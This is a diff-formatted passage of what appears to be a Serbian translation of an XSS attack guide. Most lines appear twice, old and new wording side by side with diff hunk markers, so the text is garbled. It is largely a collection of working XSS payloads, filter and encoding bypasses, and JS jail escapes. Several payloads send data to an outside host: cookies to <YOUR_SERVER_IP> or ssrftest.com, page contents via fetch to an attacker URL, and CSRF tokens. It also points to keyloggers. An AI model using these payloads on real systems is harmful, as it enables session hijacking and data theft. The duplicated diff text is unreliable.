Kada se vaš unos reflektuje **unutar HTML stranice** ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete zloupotrebiti `<` da biste kreirali nove oznake: Samo pokušajte da **reflektujete** taj **karakter** i proverite da li je **HTML enkodiran** ili **obrisan** ili ako je **reflektovan bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\ Kada se vaš unos reflektuje **unutar HTML stranice** ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete zloupotrebiti `<` da biste kreirali nove oznake: Samo pokušajte da **reflektujete** taj **karakter** i proverite da li je **HTML enkodiran** ili **obrisan** ili ako je **reflektovan bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
Za ove slučajeve takođe **imajte na umu** [**Ubacivanje šablona na klijentskoj strani**](../client-side-template-injection-csti.md)**.**\ Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Napomena: HTML komentar se može zatvoriti koristeći**** ****`-->`**** ****ili**** ****`--!>`**_ _**Napomena: HTML komentar se može zatvoriti koristeći**** ****`-->`**** ****ili**** ****`--!>`**_
U ovom slučaju, ako se ne koristi crna/bela lista, mogli biste koristiti payload-ove poput: U ovom slučaju, i ako se ne koristi crna/bela lista, možete koristiti payload-ove poput:
```html ```html
<script>alert(1)</script> <script>alert(1)</script>
<img src=x onerror=alert(1) /> <img src=x onerror=alert(1) />
@ -174,7 +174,7 @@ Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee
### Prilagođene oznake ### Prilagođene oznake
Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da **kreirate prilagođenu oznaku** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naveli stranicu da se **fokusira na taj objekat** i **izvrši** kod: Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da **kreirate prilagođenu oznaku** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste stranici omogućili **fokusiranje na taj objekat** i **izvršili** kod:
``` ```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
``` ```
@ -241,24 +241,20 @@ onerror=alert`1`
<script src=//aa.es> <script src=//aa.es>
<script src=//℡㏛.pw> <script src=//℡㏛.pw>
``` ```
Poslednji koristi 2 Unicode karaktera koji se proširuju na 5: telsr\ ### Klikni na XSS - Clickjacking
Više ovakvih karaktera može se pronaći [ovde](https://www.unicode.org/charts/normalization/).\
Da biste proverili u kojim se karakterima dekomponuju, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
### Klikni XSS - Clickjacking Ako je potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima kako bi se iskoristila ranjivost, možete pokušati da [**zloupotrebite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
Ako za iskorišćavanje ranjivosti treba **korisnik da klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**zloupotrebite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
### Nemoguće - Dangling Markup ### Nemoguće - Dangling Markup
Ako samo mislite da **je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda**, trebalo bi da proverite [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda. Ako smatrate da **je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda**, trebalo bi da proverite [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
## Ubacivanje unutar HTML taga ## Ubacivanje unutar HTML taga
### Unutar taga/izlazak iz vrednosti atributa ### Unutar taga/izlazak iz vrednosti atributa
Ako ste **unutar HTML taga**, prvo što možete pokušati je da **izađete** iz taga i koristite neke od tehnika navedenih u [prethodnom odeljku](./#injecting-inside-raw-html) za izvršavanje JS koda.\ Ako se nalazite **unutar HTML taga**, prvo što možete pokušati je da **izađete** iz taga i koristite neke od tehnika navedenih u [prethodnom odeljku](./#injecting-inside-raw-html) kako biste izvršili JS kod.\
Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga kako biste pokušali izvršiti JS kod, na primer koristeći neki payload kao (_napomena da u ovom primeru dvostruki navodnici se koriste za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga_): Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da su u ovom primeru dvostruki navodnici korišćeni za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga_):
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -309,7 +305,7 @@ Imajte na umu da je **svaka vrsta HTML enkodiranja validna**:
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) /> <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) /> <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
``` ```
### Posebni protokoli unutar atributa ### Specijalni protokoli unutar atributa
Ovde možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neke će zahtevati interakciju korisnika, a neke neće. Ovde možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neke će zahtevati interakciju korisnika, a neke neće.
```javascript ```javascript
@ -333,7 +329,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**Mesta gde možete ubaciti ove protokole** **Mesta gde možete ubaciti ove protokole**
**Uopšteno**, `javascript:` protokol se može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`) **Uopšteno** se `javascript:` protokol može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
```markup ```markup
<a href="javascript:alert(1)"> <a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -359,13 +355,13 @@ _**U ovom slučaju, trikovi enkodiranja HTML-a i Unicode enkodiranja iz prethodn
```javascript ```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'"> <a href="javascript:var a='&apos;-alert(1)-&apos;'">
``` ```
Osim toga, postoji još jedan **koristan trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL enkodiran, biće dekodiran pre nego što se izvrši.** Dakle, ako trebate da **izbegnete** iz **stringa** koristeći **jednostruki navodnik** i primetite da je **URL enkodiran**, zapamtite da **nije važno,** biće **interpretiran** kao **jednostruki navodnik** tokom **izvršavanja**. Osim toga, postoji još jedan **lep trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL enkodiran, biće dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **stringa** koristeći **jednostruki navodnik** i primetite da je **URL enkodiran**, zapamtite da **nije važno,** biće **interpretiran** kao **jednostruki navodnik** tokom **izvršavanja**.
```javascript ```javascript
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
%27-alert(1)-%27 %27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe> <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
``` ```
Imajte na umu da ako pokušate **koristiti i** `URLencode + HTMLencode` u bilo kom redosledu za enkodiranje **payload-a**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**. Napomena da ako pokušate **koristiti i URLencode + HTMLencode** u bilo kom redosledu za enkodiranje **payload-a**, to **neće** **raditi**, ali možete **ih mešati unutar payload-a**.
**Korišćenje heksadecimalnog i oktalnog enkodiranja sa `javascript:`** **Korišćenje heksadecimalnog i oktalnog enkodiranja sa `javascript:`**
@ -391,9 +387,9 @@ Ako možete ubaciti bilo koji URL u proizvoljni **`<a href=`** tag koji sadrži
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md) [reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %} {% endcontent-ref %}
### Bypass na događajne rukovaoca ### o Bypass događajnih rukovaoca
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" događajne rukovaoca**.\ Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" događajne rukovaoce**.\
U slučaju da postoji neka crna lista koja sprečava kreiranje ovih događajnih rukovaoca, možete probati sledeće obilaske: U slučaju da postoji neka crna lista koja sprečava kreiranje ovih događajnih rukovaoca, možete probati sledeće obilaske:
```javascript ```javascript
<svg onload%09=alert(1)> //No safari <svg onload%09=alert(1)> //No safari
@ -432,13 +428,13 @@ Od [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Mož
### Bypass-ovi crne liste ### Bypass-ovi crne liste
Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se da saznate gde možete koristiti: Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se **nazad da biste saznali gde možete koristiti:**
* **HTML enkodiranje (HTML tagovi)** * **HTML enkodiranje (HTML tagovi)**
* **Unicode enkodiranje (može biti validan JS kod):** `\u0061lert(1)` * **Unicode enkodiranje (može biti validan JS kod):** `\u0061lert(1)`
* **URL enkodiranje** * **URL enkodiranje**
* **Hex i Oktalno enkodiranje** * **Heksadecimalno i oktalno enkodiranje**
* **data enkodiranje** * **Data enkodiranje**
**Bypass-ovi za HTML tagove i atribute** **Bypass-ovi za HTML tagove i atribute**
@ -478,23 +474,22 @@ Ako je vaš kod ubačen unutar `<script> [...] var input = 'reflektovani podaci'
```javascript ```javascript
</script><img src=1 onerror=alert(document.domain)> </script><img src=1 onerror=alert(document.domain)>
``` ```
Imajte na umu da u ovom primeru **čak nismo ni zatvorili jednostruki navodnik**. To je zato što se **parsiranje HTML-a prvo vrši od strane pregledača**, što uključuje identifikovanje elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti vrši se tek nakon toga. Imajte na umu da u ovom primeru **čak nismo zatvorili jednostruki navodnik**. To je zato što se **parsiranje HTML-a prvo vrši od strane pregledača**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti vrši se tek nakon toga.
### Unutar JS koda ### Unutar JS koda
Ako se `<>` dezinfikuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **popraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen: Ako se `<>` dezinfikuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti sintaksu JS-a**, jer ako postoje greške, JS kod neće biti izvršen:
``` ```
'-alert(document.domain)-' '-alert(document.domain)-'
';alert(document.domain)// ';alert(document.domain)//
\';alert(document.domain)// \';alert(document.domain)//
``` ```
### Šablonski literali \`\` ### Šablon literali \`\`
Da biste konstruisali **stringove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `** . Ovo je poznato kao šablonski literali jer omogućavaju da se **ugrađeni JS izrazi** koriste pomoću sintakse `${ ... }`. Da biste konstruisali **stringove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `** . Ovo je poznato kao šablon literali jer omogućavaju da se **ugrađuju JS izrazi** koristeći sintaksu `${ ... }` .\
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **proizvoljan JS kod**:
Dakle, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da biste izvršili **proizvoljni JS kod**: Ovo se može **zloupotrebiti** koristeći:
Ovo se može **zloupotrebiti** korišćenjem:
```javascript ```javascript
`${alert(1)}` `${alert(1)}`
`${`${`${`${alert(1)}`}`}`}` `${`${`${`${alert(1)}`}`}`}`
@ -512,7 +507,7 @@ loop``````````````
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>"> <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
``` ```
### Unicode kodiranje JS izvršavanja ### Unicode Kodiranje JS izvršavanja
```javascript ```javascript
\u{61}lert(1) \u{61}lert(1)
\u0061lert(1) \u0061lert(1)
@ -736,7 +731,7 @@ top[8680439..toString(30)](1)
```` ````
## **DOM ranjivosti** ## **DOM ranjivosti**
Postoji **JS kod** koji koristi **nesigurne podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.\ Postoji **JS kod** koji koristi **nesigurne podatke kontrolisane od strane napadača** poput `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\
**Zbog proširenja objašnjenja** [**DOM ranjivosti premešteno je na ovu stranicu**](dom-xss.md)**:** **Zbog proširenja objašnjenja** [**DOM ranjivosti premešteno je na ovu stranicu**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %} {% content-ref url="dom-xss.md" %}
@ -750,15 +745,15 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
### Normalizovani Unicode ### Normalizovani Unicode
Možete proveriti da li se **reflektovane vrednosti** normalizuju u unicode formatu na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting). Možete proveriti da li se **reflektovane vrednosti** normalizuju u Unicode formatu na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass ### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
```javascript ```javascript
"><svg/onload=confirm(1)>"@x.y "><svg/onload=confirm(1)>"@x.y
``` ```
### Bypassovanje Ruby-On-Rails ### Ruby-On-Rails zaobilazak
Zbog **RoR masovnog dodeljivanja** navodnici se ubacuju u HTML, a zatim se ograničenje navodnika zaobilazi i dodaju se dodatna polja (onfocus) unutar taga.\ Zbog **RoR masovnog dodeljivanja** navodnici se ubacuju u HTML, a zatim se zaobilazi ograničenje navodnika i dodaju se dodatna polja (onfocus) unutar taga.\
Primer obrasca ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload: Primer obrasca ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
``` ```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -801,18 +796,19 @@ document['default'+'View'][`\u0061lert`](3)
``` ```
### XSS sa ubacivanjem zaglavlja u 302 odgovoru ### XSS sa ubacivanjem zaglavlja u 302 odgovoru
Ako otkrijete da možete **ubaciti zaglavlja u 302 Redirect odgovor**, možete pokušati **naterati pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je samo XSS payload beskoristan. Ako otkrijete da možete **ubaciti zaglavlja u 302 Redirect odgovor**, možete pokušati **naterati pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je sam XSS payload beskoristan.
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da inspicira i izvrši XSS payload unutar tela.\ U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da inspicira i izvrši XSS payload unutar tela.
Prethodno poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno zaglavlje Lokacija_, `resource://`.
### Samo Slova, Brojevi i Tačke Prošli poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno zaglavlje Lokacija_, `resource://`.
Ako možete naznačiti **callback** koji će JavaScript **izvršiti** ograničen na ove karaktere. [**Pročitajte ovaj odeljak ovog posta**](./#javascript-function) da biste saznali kako iskoristiti ovaj ponašanje. ### Samo slova, brojevi i tačke
Ako možete naznačiti **callback** koji će JavaScript **izvršiti** ograničen na ove karaktere, [**pročitajte ovaj odeljak ovog posta**](./#javascript-function) da biste saznali kako iskoristiti ovaj ponašanje.
### Validni `<script>` Content-Type-ovi za XSS ### Validni `<script>` Content-Type-ovi za XSS
(Od [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate učitati skript sa **content-type**-om kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku: (Od [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate učitati skript sa **content-type**-om poput `application/octet-stream`, Chrome će prikazati sledeću grešku:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled. > Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -846,7 +842,7 @@ const char* const kSupportedJavascriptTypes[] = {
``` ```
Odgovor je: Odgovor je:
* **modul** (podrazumevano, nema šta da se objasni) * **modul** (podrazumevano, ništa posebno za objašnjavanje)
* [**webbundle**](https://web.dev/web-bundles/): Web paketi su funkcija koja vam omogućava da zapakujete gomilu podataka (HTML, CSS, JS...) zajedno u **`.wbn`** fajl. * [**webbundle**](https://web.dev/web-bundles/): Web paketi su funkcija koja vam omogućava da zapakujete gomilu podataka (HTML, CSS, JS...) zajedno u **`.wbn`** fajl.
```html ```html
<script type="webbundle"> <script type="webbundle">
@ -874,9 +870,9 @@ import moment from "moment";
import { partition } from "lodash"; import { partition } from "lodash";
</script> </script>
``` ```
Ovo ponašanje je korišćeno u [**ovom opisu**](https://github.com/zwade/yaca/tree/master/solution) da bi se preslikala biblioteka na eval kako bi se zloupotrebila i izazvala XSS. Ovo ponašanje je korišćeno u [**ovom writeup-u**](https://github.com/zwade/yaca/tree/master/solution) da bi se preusmerila biblioteka na eval kako bi se zloupotrebila i izazvala XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcionalnost je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način: * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
```html ```html
<script type="speculationrules"> <script type="speculationrules">
{ {
@ -892,9 +888,9 @@ Ovo ponašanje je korišćeno u [**ovom opisu**](https://github.com/zwade/yaca/t
} }
</script> </script>
``` ```
### Vrste web sadržaja za XSS ### Web Content-Types to XSS
(From [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeće vrste sadržaja mogu izvršiti XSS u svim pregledačima: (From [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima:
* text/html * text/html
* application/xhtml+xml * application/xhtml+xml
@ -905,11 +901,11 @@ Ovo ponašanje je korišćeno u [**ovom opisu**](https://github.com/zwade/yaca/t
* application/rss+xml (isključeno) * application/rss+xml (isključeno)
* application/atom+xml (isključeno) * application/atom+xml (isključeno)
U drugim pregledačima druge **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS koda, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) U drugim pregledačima se mogu koristiti i drugi **`Content-Types`** za izvršavanje proizvoljnog JS koda, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type ### xml Tip sadržaja
Ako stranica vraća sadržaj sa content-type text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS: Ako stranica vraća content-type text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS:
```xml ```xml
<xml> <xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text> <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -917,19 +913,19 @@ Ako stranica vraća sadržaj sa content-type text/xml, moguće je naznačiti nam
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. --> <!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
``` ```
### Posebni obrasci zamene ### Posebni šabloni zamene
Kada se koristi nešto poput **`"neki {{šablon}} podaci".replace("{{šablon}}", <korisnički_unos>)`**, napadač može koristiti [**posebne zamene niski**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) da pokuša da zaobiđe neke zaštite: ``"123 {{šablon}} 456".replace("{{šablon}}", JSON.stringify({"ime": "$'$`alert(1)//"}))`` Kada se koristi nešto poput **`"neki {{šablon}} podaci".replace("{{šablon}}", <korisnički_unos>)`**, napadač može koristiti [**posebne zamene niski**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) da pokuša da zaobiđe neke zaštite: ``"123 {{šablon}} 456".replace("{{šablon}}", JSON.stringify({"ime": "$'$`alert(1)//"}))``
Na primer, u [**ovom objašnjenju**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da **izbegne JSON nisku** unutar skripte i izvrši proizvoljan kod. Na primer, u [**ovom objašnjenju**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da **izbegne JSON nisku** unutar skripte i izvrši proizvoljan kod.
### Chrome keširanje za XSS ### Chrome Keš do XSS
{% content-ref url="chrome-cache-to-xss.md" %} {% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md) [chrome-cache-to-xss.md](chrome-cache-to-xss.md)
{% endcontent-ref %} {% endcontent-ref %}
### XS Jails bekstvo ### XS Jails Bekstvo
Ako imate ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme: Ako imate ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
```javascript ```javascript
@ -1057,14 +1053,22 @@ trigger()
```javascript ```javascript
// It's also possible to execute JS code only with the chars: []`+!${} // It's also possible to execute JS code only with the chars: []`+!${}
``` ```
## XSS zajednički payload-ovi ## XSS uobičajeni payload-ovi
### Više payload-ova u 1 ### Više payload-a u 1
{% content-ref url="steal-info-js.md" %} {% content-ref url="steal-info-js.md" %}
[steal-info-js.md](steal-info-js.md) [steal-info-js.md](steal-info-js.md)
{% endcontent-ref %} {% endcontent-ref %}
### Iframe zamka
Naterajte korisnika da se kreće po stranici bez napuštanja iframe-a i da ukrade njegove akcije (uključujući informacije poslate u formama):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### Preuzimanje kolačića ### Preuzimanje kolačića
```javascript ```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie> <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
@ -1088,7 +1092,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script> <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
``` ```
{% hint style="info" %} {% hint style="info" %}
Ako je postavljen HTTPOnly flag na kolačiću, **nećete moći pristupiti kolačićima iz JavaScript-a**. Ali evo [nekih načina za zaobilaženje ove zaštite](../hacking-with-cookies/#httponly) ako imate dovoljno sreće. Nećete moći da pristupite kolačićima iz JavaScript-a ako je postavljen HTTPOnly flag u kolačiću. Ali ovde imate [neke načine za zaobilaženje ove zaštite](../hacking-with-cookies/#httponly) ako imate dovoljno sreće.
{% endhint %} {% endhint %}
### Ukradi sadržaj stranice ### Ukradi sadržaj stranice
@ -1104,7 +1108,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open('GET', url, true); xhr.open('GET', url, true);
xhr.send(null); xhr.send(null);
``` ```
### Pronalaženje internih IP adresa ### Pronađite interne IP adrese
```html ```html
<script> <script>
var q = [] var q = []
@ -1197,7 +1201,7 @@ Samo pretražujući na github-u pronašao sam nekoliko različitih:
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
* Takođe možete koristiti metasploit `http_javascript_keylogger` * Možete takođe koristiti metasploit `http_javascript_keylogger`
### Krađa CSRF tokena ### Krađa CSRF tokena
```javascript ```javascript
@ -1282,7 +1286,7 @@ Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
``` ```
### Regex - Pristup skrivenom sadržaju ### Regex - Pristup skrivenom sadržaju
Iz [**ovog objašnjenja**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) je moguće naučiti da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena: Iz [**ovog objašnjenja**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) moguće je saznati da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a i dalje je moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:
```javascript ```javascript
// Do regex with flag // Do regex with flag
flag="CTF{FLAG}" flag="CTF{FLAG}"
@ -1311,9 +1315,9 @@ Možete ubaciti Markdown kod koji će biti prikazan? Možda možete dobiti XSS!
[xss-in-markdown.md](xss-in-markdown.md) [xss-in-markdown.md](xss-in-markdown.md)
{% endcontent-ref %} {% endcontent-ref %}
### XSS ka SSRF ### XSS ka SSRF-u
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **unaprediti to u SSRF** kroz ubacivanje Edge Side Include Injection sa ovim payload-om: Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **nadograditi to na SSRF** putem ubacivanja Edge Side Include Injection sa ovim payload-om:
```python ```python
<esi:include src="http://yoursite.com/capture" /> <esi:include src="http://yoursite.com/capture" />
``` ```
@ -1329,7 +1333,7 @@ Dakle, ako **PDF kreator bot pronađe** neke vrste **HTML** **tagova**, on će i
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %} {% endcontent-ref %}
Ako ne možete ubaciti HTML tagove, vredno je pokušati da **ubacite PDF podatke**: Ako ne možete da ubacite HTML tagove, vredno je pokušati da **ubacite PDF podatke**:
{% content-ref url="pdf-injection.md" %} {% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md) [pdf-injection.md](pdf-injection.md)
@ -1341,7 +1345,7 @@ AMP, sa ciljem ubrzanja performansi veb stranica na mobilnim uređajima, uključ
